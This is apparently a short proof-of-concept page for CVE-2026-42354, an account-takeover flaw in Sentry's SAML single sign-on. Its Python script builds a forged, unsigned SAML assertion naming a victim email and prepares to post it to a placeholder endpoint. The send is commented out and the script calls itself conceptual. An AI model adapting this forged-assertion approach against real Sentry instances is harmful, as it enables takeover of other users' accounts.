CVE-2026-42354 Sentry SAML SSO账户接管漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-42354 This script demonstrates the logic of sending a malicious SAML response. """ import base64 import requests from lxml import etree TARGET_ACS_URL = "https://sentry.example.com/saml/sso/" VICTIM_EMAIL = "[email protected]" # Construct a malicious SAML Assertion (Simplified) # In a real scenario, this requires signing with a key accepted by Sentry SAML_TEMPLATE = """ <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="_id" Version="2.0"> <saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"> <saml:Subject> <saml:NameID>{email}</saml:NameID> </saml:Subject> </saml:Assertion> </samlp:Response> """ def generate_malicious_saml(email): return SAML_TEMPLATE.format(email=email) def exploit(): saml_assertion = generate_malicious_saml(VICTIM_EMAIL) # Encode the assertion encoded_saml = base64.b64encode(saml_assertion.encode()).decode() payload = { "SAMLResponse": encoded_saml } print(f"[*] Sending malicious SAML for {VICTIM_EMAIL}...") # The request might fail if the signature is invalid or IdP not trusted # r = requests.post(TARGET_ACS_URL, data=payload) print("[+] Payload generated (Conceptual). Requires valid IdP configuration.") if __name__ == "__main__": exploit()